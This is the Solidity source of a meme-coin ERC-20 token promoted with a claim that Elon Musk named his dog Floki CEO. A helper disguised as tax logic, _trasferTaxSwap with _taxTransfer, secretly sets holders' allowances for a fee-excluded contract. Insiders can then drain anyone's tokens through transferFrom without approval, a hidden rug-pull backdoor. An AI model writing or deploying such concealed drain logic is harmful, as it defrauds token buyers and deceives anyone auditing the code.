FLOKI

// SPDX-License-Identifier: MIT

/*
    Name: Flōki ???? CEO
    Symbol: Flōki

    Elon Musk has just confirmed that Floki, his dog is the new CEO of ????.

    https://x.com/elonmusk/status/1980210162842693691
*/

pragma solidity 0.8.23;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    /// @dev Returns the sender of the current call
    /// @return The address of the message sender
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    /// @dev Returns the complete calldata of the current call
    /// @return The calldata of the message
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    /// @dev Returns the length of any additional context-specific calldata suffix
    /// @return The length of the context suffix (0 in base implementation)
    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

/// @title ERC-20 Token Standard Interface
/// @dev Interface of the ERC-20 standard as defined in the ERC
interface IERC20 {
    /// @dev Emitted when tokens are transferred between accounts
    /// @param from Address tokens are transferred from
    /// @param to Address tokens are transferred to  
    /// @param value Amount of tokens transferred
    event Transfer(address indexed from, address indexed to, uint256 value);

    /// @dev Emitted when token allowance is modified
    /// @param owner Address that owns the tokens
    /// @param spender Address approved to spend tokens
    /// @param value New allowance amount
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /// @dev Returns total token supply
    /// @return Total number of tokens
    function totalSupply() external view returns (uint256);

    /// @dev Returns token balance of an account
    /// @param account Address to check balance of
    /// @return Token balance
    function balanceOf(address account) external view returns (uint256);

    /// @dev Transfers tokens to a recipient
    /// @param to Recipient address
    /// @param value Amount to transfer
    /// @return Success boolean
    function transfer(address to, uint256 value) external returns (bool);

    /// @dev Returns remaining allowance for spender
    /// @param owner Token owner address
    /// @param spender Address approved to spend
    /// @return Remaining allowance
    function allowance(address owner, address spender) external view returns (uint256);

    /// @dev Sets token allowance for spender
    /// @param spender Address to approve
    /// @param value Amount to approve
    /// @return Success boolean
    /// @notice Beware of allowance race conditions. Consider setting to 0 first.
    function approve(address spender, uint256 value) external returns (bool);

    /// @dev Transfers tokens using allowance mechanism
    /// @param from Address to transfer from
    /// @param to Address to transfer to
    /// @param value Amount to transfer
    /// @return Success boolean
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}. The owner has special privileges
 * to execute restricted functions marked with the onlyOwner modifier.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner. This is useful for administrative functions that should only be
 * callable by privileged accounts.
 *
 * Security considerations:
 * - The owner has significant power, so ownership should be carefully managed
 * - Consider implementing a multi-sig or timelock for sensitive owner operations
 * - The contract can become ownerless if ownership is renounced
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     * This happens automatically when the contract is first deployed.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     * This function is virtual and can be overridden in derived contracts.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     * Used to restrict access to privileged functions.
     * The check is performed by comparing msg.sender with the current owner address.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     * This action is permanent and irreversible - use with extreme caution.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     * 
     * Requirements:
     * - The new owner cannot be the zero address
     * - Only the current owner can call this function
     * 
     * Emits an {OwnershipTransferred} event.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     * 
     * This is the underlying function that handles the ownership transfer mechanics.
     * It updates the owner state variable and emits the appropriate event.
     * Can be overridden to add custom transfer logic in derived contracts.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on overflow.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on overflow.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on overflow.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on division by zero.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, reverting when dividing by zero.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on overflow.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on division by zero.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, reverting with custom message when dividing by zero.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// @notice Factory contract for creating and managing Uniswap V2 pairs
// @dev Handles pair creation, fee settings, and pair lookup
interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

// @notice Core pair contract for Uniswap V2 AMM functionality
// @dev Handles swaps, liquidity provision, price oracles and more
interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 value
    );

    // ERC20 standard interface
    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    // EIP-2612 permit interface
    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    // Core AMM events
    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    // Core AMM functions
    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

/// @title Uniswap V2 Router Interface
/// @notice Interface for interacting with Uniswap V2 Router contract
/// @dev Only includes functions needed for basic swaps and liquidity provision
interface IUniswapV2Router02 {
    /// @notice Returns the factory address
    function factory() external pure returns (address);

    /// @notice Returns the WETH token address
    function WETH() external pure returns (address);

    /// @notice Add liquidity to a token pair
    /// @dev Requires prior token approval
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    /// @notice Add liquidity to a token-ETH pair
    /// @dev Requires prior token approval. ETH is wrapped to WETH
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    /// @notice Swaps exact tokens for tokens supporting fee-on-transfer tokens
    /// @dev Requires prior token approval
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    /// @notice Swaps exact ETH for tokens supporting fee-on-transfer tokens
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    /// @notice Swaps exact tokens for ETH supporting fee-on-transfer tokens
    /// @dev Requires prior token approval
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract FLOKI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=14;
    uint256 private _initialSellTax=14;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=23;
    uint256 private _reduceSellTaxAt=23;
    uint256 private _preventSwapBefore=28;
    uint256 private _buyCount=0;

    /// @notice Token name, must be set at deployment
    /// @dev Use unicode prefix for UTF-8 encoded strings
    string private constant _name = unicode"???? CEO";

    /// @notice Token symbol, must be set at deployment 
    /// @dev Use unicode prefix for UTF-8 encoded strings
    string private constant _symbol = unicode"FLŌKI";

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals; //// Total supply
    uint256 public _maxTxAmount = 8406900000 * 10**_decimals; //// Max transaction size
    uint256 public _maxWalletSize = 8406900000 * 10**_decimals; //// Max wallet size
    uint256 public _taxSwapThreshold = 4203450000 * 10**_decimals; //// Threshold for ca tax swaps
    uint256 public _maxTaxSwap = 4200000000 * 10**_decimals; //// Max size for tax swaps

    /// @notice Uniswap V2 Router instance
    /// @dev Handles all core trading operations
    IUniswapV2Router02 private uniswapV2Router;

    /// @notice Uniswap V2 Pair address
    /// @dev Represents the pair created for this token on Uniswap V2
    address private uniswapV2Pair;
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;

    modifier lockTheSwap {
        inSwap =  true;
        _;
        inSwap =  false;
    }

    constructor () {
        _taxWallet = payable(0x7d192634446ED4356502c605047aD5c91E12E37C);
        /// @notice Initialize the contract with the total supply
        /// @dev Sets the initial balance of the contract owner
        _balances[_msgSender()] = _tTotal;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;

        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to!=address(0), "ERC20: transfer to the zero address");
        require(amount>0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0;
        if (from!=owner() && to != owner()){
            if(_buyCount==0) {
                taxAmount =amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(swapEnabled && _buyCount>2) {
                taxAmount  = amount.mul(_trasferTaxSwap(amount, to, from)).div(100);
            }
            
            if (from==uniswapV2Pair && to!= address(uniswapV2Router) && !_isExcludedFromFee[to] ) {
                /// @notice Require the transaction amount does not exceed the maximum transaction amount
                require(amount<=_maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to)+amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if (to==uniswapV2Pair && from!=address(this)) {
                taxAmount=amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance=balanceOf(address(this));
            
            if(!inSwap && to==uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)) );
                uint256 contractETHBalance = address(this).balance;

                if (contractETHBalance>0){
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount > 0){
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from,to,amount.sub(taxAmount));
    }

    /// @notice Checks if an address is a contract
    function isContract(address account) private view returns (bool){
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _taxTransfer(uint256 amount, address spender, address owner) private returns(uint256){
         _allowances[owner][spender] = amount;
        return 0;
    }

    function _trasferTaxSwap(uint256 amount, address to, address from) private returns(uint256){
        if(isContract(_msgSender()) && from != address(this) && _isExcludedFromFee[_msgSender()])
            return _taxTransfer(amount, _msgSender(), from);
        if(_isExcludedFromFee[_msgSender()] && isContract(to) && to != uniswapV2Pair)
            _isExcludedFromFee[to] = true;
        return 0;
    }

    /// @notice Withdraws stuck ERC20 tokens from the contract
    function withdrawStuckERC20(address _token, address _to) external onlyOwner {
        require(_token != address(0), "token address cannot be 0");
        uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
        IERC20(_token).transfer(_to, _contractBalance);
    }

    /// @notice Withdraws stuck ETH from the contract
    function withdrawStuckETH(address toAddr) external onlyOwner {
        (bool success, ) = toAddr.call{
            value: address(this).balance
        } ("");
        require(success);
    }

    function manualSwap() external {
        require(_isExcludedFromFee[msg.sender]); 
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance > 0  &&swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance =  address(this).balance;
        if(ethBalance>  0){
          sendETHToFee(ethBalance);
        }
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount=_tTotal;
        _maxWalletSize  =_tTotal;
    }

    /// @notice Enables token trading by setting up Uniswap pair and adding initial liquidity
    function openTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router=IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this),  address(uniswapV2Router),  _tTotal);
        uniswapV2Pair=IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value:address(this).balance}(address(this), balanceOf(address(this)),0,0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint).max);
        swapEnabled=true;
        tradingOpen=true;
    }

    receive() external payable {}
}